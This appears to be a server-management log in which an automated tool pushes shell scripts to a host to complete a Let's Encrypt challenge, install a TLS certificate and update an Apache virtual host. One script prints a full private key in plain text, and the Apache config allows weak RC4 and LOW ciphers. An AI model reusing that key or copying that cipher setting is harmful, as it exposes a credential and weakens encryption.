MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-31 11:41:56: Establishing a connection
2026-01-31 11:41:57: Establishing a connection
2026-01-31 11:41:58: 

PUT: /tmp/pkp327808

#!/bin/bash
if [ -d "/var/www/hostz_messier/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-31 11:41:59: 

chmod 755 /tmp/pkp327808; /tmp/pkp327808; rm /tmp/pkp327808

2026-01-31 11:42:00: 


1


2026-01-31 11:42:01: Establishing a connection
2026-01-31 11:42:02: 

PUT: /tmp/pkp734221

#!/bin/bash
mkdir -p "/var/www/hostz_messier/.well-known/acme-challenge/"
cd "/var/www/hostz_messier/.well-known/acme-challenge/"
cat > xx3Cb71_nfCeN1Ege6zfGEtmHfwCfpC_bEIsj5W-aGs <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
xx3Cb71_nfCeN1Ege6zfGEtmHfwCfpC_bEIsj5W-aGs.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 xx3Cb71_nfCeN1Ege6zfGEtmHfwCfpC_bEIsj5W-aGs


2026-01-31 11:42:03: 

chmod 755 /tmp/pkp734221; /tmp/pkp734221; rm /tmp/pkp734221

2026-01-31 11:42:03: 




2026-01-31 11:42:10: Establishing a connection
2026-01-31 11:42:11: 

PUT: /tmp/pkp265998

#!/bin/bash
mkdir -p "/var/www/hostz_messier/.well-known/acme-challenge/"
cd "/var/www/hostz_messier/.well-known/acme-challenge/"
rm xx3Cb71_nfCeN1Ege6zfGEtmHfwCfpC_bEIsj5W-aGs


2026-01-31 11:42:12: 

chmod 755 /tmp/pkp265998; /tmp/pkp265998; rm /tmp/pkp265998

2026-01-31 11:42:12: 




2026-01-31 11:42:12: Establishing a connection
2026-01-31 11:42:14: 

PUT: /tmp/pkp784524

#!/bin/bash
temp_file=$(mktemp)
TARGET=7933e54b4869b54869c55f49aa21a2a8.crt

cat > $temp_file <<'endmsg'
83:31:5c:1c:87:a8:fe:b4:b0:4d:20:c0:db:f0:bc:f8

-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBQM12Ep7mvS/1Ce7lH3tfDm8MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTMxMTA0MzM4WhcNMjYwNTAxMTA0MzM3WjAcMRowGAYDVQQD
ExFtZXNzaWVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAMrMrtBQwaMW26ahVfXUEY4oQV5AZztctgKIPEV/cM0VPWoHvVS5TmyZHob+
1Tf+LsYughjqfo7/IsoP90NA91wD4gChrmV14Wg/XOrGBZpBBA6smX6UKZJLfFLS
j9Vhtah4Qe7O74GKSh8qOZLkTD03WsiRSj1BYGG65eK/eurwylYazoVFAkXxJ44q
0ykrOjCFvDA/yXeJLUjAbODkr1HC3A0JU2V1Zb+kbDP55m4Y1v5mtU32IX7p9qV1
cFSGZmEa01POvQnRC7FM8XoAX1Glb5or46IvVC/ty8qVwCa3ykRlt7bV1Oye6BB0
TZt+1vZasvIGLde+nislDgpobo0CAwEAAaOCAiowggImMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUFkdIzvyqmXBatDXUkrd5WVlj+H8wHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFtZXNzaWVyLmhvc3R6Lm9y
ZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEyLmMubGVuY3Iub3JnLzYxLmNybDCCAQ0GCisGAQQB1nkCBAIEgf4EgfsA+QB2
AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABnBPcRf4AAAQDAEcw
RQIgdcnHdmxhb10bf+6ihvRn8sQsrKkmOhMictfeqX4olgECIQCmEsTNlD5QnqQy
lh7iFGzCTHkJ/KziFDQwk0ELayZCVwB/AKXJeJJdV0YXgocN2IlmC1xVZIt9AEDy
7AdoUdGIaRn3AAABnBPcSaYACAAABQAwrj36BAMASDBGAiEAmRoAy/F5xdMXZpnu
Z8/VS+FDBixlXvg7eMrvi0pUa/YCIQDAMl7X0W7d0JXYzuFk9oeVtnFBmfFaevt/
a1iTSmscPzANBgkqhkiG9w0BAQsFAAOCAQEAWV7ETiAnPqFnfEEa1u2NmxneLXtB
MHPGN1JRSfHHqdc7R+WX2dPe+Xme4RVGtzOnuCa0T0a7iZ5SlDGGruI6IfvAfPVG
a7d4JIgdf5ZqWv58Lw//X4VSWf1ExgH/HSxdpqN9lBA0Gg7jDNQYe7KWgIfja9Ge
sKCWeVpC+NGivYk7QFp+zu+LSx9TY9k5D1wV5U6sR+gNa4wR/QnyNQZia58A2Qoh
G2Dv8Al3FlgB5uEWLNGOCT66fQoBh0V/wNNIlq44Q2Vc8IFu4qTp2new8VpcHmV1
NsK3IXmbG4oAA7NrRajkEqR6OUiUpSph4BmnxtDvjm3g0Ku2VpgInVn6Pw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDKzK7QUMGjFtum
oVX11BGOKEFeQGc7XLYCiDxFf3DNFT1qB71UuU5smR6G/tU3/i7GLoIY6n6O/yLK
D/dDQPdcA+IAoa5ldeFoP1zqxgWaQQQOrJl+lCmSS3xS0o/VYbWoeEHuzu+Bikof
KjmS5Ew9N1rIkUo9QWBhuuXiv3rq8MpWGs6FRQJF8SeOKtMpKzowhbwwP8l3iS1I
wGzg5K9RwtwNCVNldWW/pGwz+eZuGNb+ZrVN9iF+6faldXBUhmZhGtNTzr0J0Qux
TPF6AF9RpW+aK+OiL1Qv7cvKlcAmt8pEZbe21dTsnugQdE2bftb2WrLyBi3Xvp4r
JQ4KaG6NAgMBAAECggEAGkhToZjNt6K3Pc2r88uTqN5LtnjXSCi4R/S7BvDAwDtv
9aViIrBPWyCvBaTSIksVacbOQodldofXTOOr0nIBfNHeAOHzVZ/k4htQIfce88JY
UcSJsg9modiZmKxESs26esZ3GQmFnb6743UX+BMRVF+vqs21luG5qYDM2Umilv75
jPnGSpFvDli+Qzf1pnaKU2q7NwNbjgBe4Xny/ae5oNX7oYQfXGgk5tCLdzCQzo2D
GFOMqUr7eN46dk7Ulp9KvknBQlSfmYq1JADNGtuiLg3FTH8hnTaZ8I8LfpZOd4fG
9ajyUYyOEPfMaXOs/gbK1cpMWpRQ48Kc2eUJ8BLpqwKBgQD61a0+zHAbZm1X8pA0
BqZaMX2isgFV0toHROEntgoXJHiSDIP0T0yPKqyzNYbGx8OCa23bMqBK68WLcHQS
xWMwjMJFKi9smAeR1oySR4Vd5wUKOF3Bq0kKGEYaI/be0xhluxxgvpHo7RjaJVoH
d6wvTfGN2WTPkmtk+/zwTJmLKwKBgQDO+ceZRCpRHFCRiMJlbsyldtqwS3RmyuPH
F3Qi1YEF1403rTB73rsKmyIP1li4ccX96M70787MxLuUWRcKLSOAK0lsW3LMbFo4
n6mRMiBufXNuOGTc6rN/a+nxDD74ijcTeYpxvB+Vcs0CWhP57E9pUwxaOQ5+WnBG
kQMEnaMxJwKBgDNi5vUAiM70Mt5bkPM3kYjUrrpP4Tol0gi/Maki//oxvImfCsFY
JYUG5w5nns7GSeVEAONxAamXl4azaPQXf/SIQZxNwh1rH9HetDmbcVUFaODpHzv3
zSTGSEY+q+qGMG9W379qCxY+zGKUWFdDSwD95Mh8isyDYID1pqHL74C1AoGARVzJ
+mAwukv96Dfnxexy4sTJFynCUayO1yrR/daFTbrmFZGR3QFQt4YzzRDtXKqsSqJZ
sRYovND1eAq/QObNredTzN98wmtRdQZ04jblTYH3TCnUC4EQNJSqquCKveo7+OfT
cLg18XSupaogZbI/DrIJQrc6VzfhxpRUaZiWlyMCgYEAp158PPWvx5IhzJQX+Yp1
wl3vMVD2mfP6iYUmLdSuBNJBXcKWz85xPZpRTye+o1wk1kqint2JKhReMO5neisG
wVRz4Q2gngeKAVd2iGKmichZv1yWBaXWMh5r8rclf8HAgIaDWXxkA9tN6xQ+M0Ow
Vlg+KLSjV9XlWyqP08mcjM0=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-31 11:42:15: 

chmod 755 /tmp/pkp784524; /tmp/pkp784524; rm /tmp/pkp784524

2026-01-31 11:42:15: 


dir=/etc/pki/tls/certs/


2026-01-31 11:42:15: 

PUT: /tmp/pkp699760

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/httpd/conf.d/hostz_messier.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-31 11:42:15: 

chmod 755 /tmp/pkp699760; /tmp/pkp699760; rm /tmp/pkp699760

2026-01-31 11:42:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_messier.conf 1528
<VirtualHost *:80>
    ServerName	messier.hostz.org
    DocumentRoot	/var/www/hostz_messier
    
    #
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
    <Files ".ht*">
        Require	all denied
    </Files>
    
    ErrorLog	"logs/messier_error_log"
    
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.py index.php
    
    <Location /server-status>
        SetHandler	server-status
        Require	ip 173.48.93.56
    </Location>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	messier.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt
    DocumentRoot	/var/www/hostz_messier
    <Directory /var/www/hostz_messier>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/messier_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/messier_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-01-31 11:42:16: 

PUT: /tmp/pkp987825

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=hostz_messier.conf
TARGET=/etc/httpd/conf.d/hostz_messier.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	messier.hostz.org
    DocumentRoot	/var/www/hostz_messier
    
    #
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
    <Files ".ht*">
        Require	all denied
    </Files>
    
    ErrorLog	"logs/messier_error_log"
    
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.py index.php
    
    <Location /server-status>
        SetHandler	server-status
        Require	ip 173.48.93.56
    </Location>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	messier.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt
    DocumentRoot	/var/www/hostz_messier
    <Directory /var/www/hostz_messier>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/messier_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/messier_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/httpd/conf.d/hostz_messier.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/httpd/sites-enabled/hostz_messier.conf)= /etc/httpd//etc/httpd/conf.d/hostz_messier.conf'
	echo 'file(/etc/httpd//etc/httpd/conf.d/hostz_messier.conf= 1'
fi


2026-01-31 11:42:16: 

chmod 755 /tmp/pkp987825; /tmp/pkp987825; rm /tmp/pkp987825

2026-01-31 11:42:16: 




2026-01-31 11:42:16: 

PUT: /tmp/pkp679619

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-31 11:42:17: 

chmod 755 /tmp/pkp679619; /tmp/pkp679619; rm /tmp/pkp679619

2026-01-31 11:42:17: 


.


2026-01-31 11:42:17: Establishing a connection
2026-01-31 11:42:19: 

PUT: /tmp/pkp779634

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-31 11:42:19: 

chmod 755 /tmp/pkp779634; /tmp/pkp779634; rm /tmp/pkp779634

2026-01-31 11:42:20: 


[Sat Jan 31 11:42:20.200571 2026] [so:warn] [pid 3945337:tid 139836049680704] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
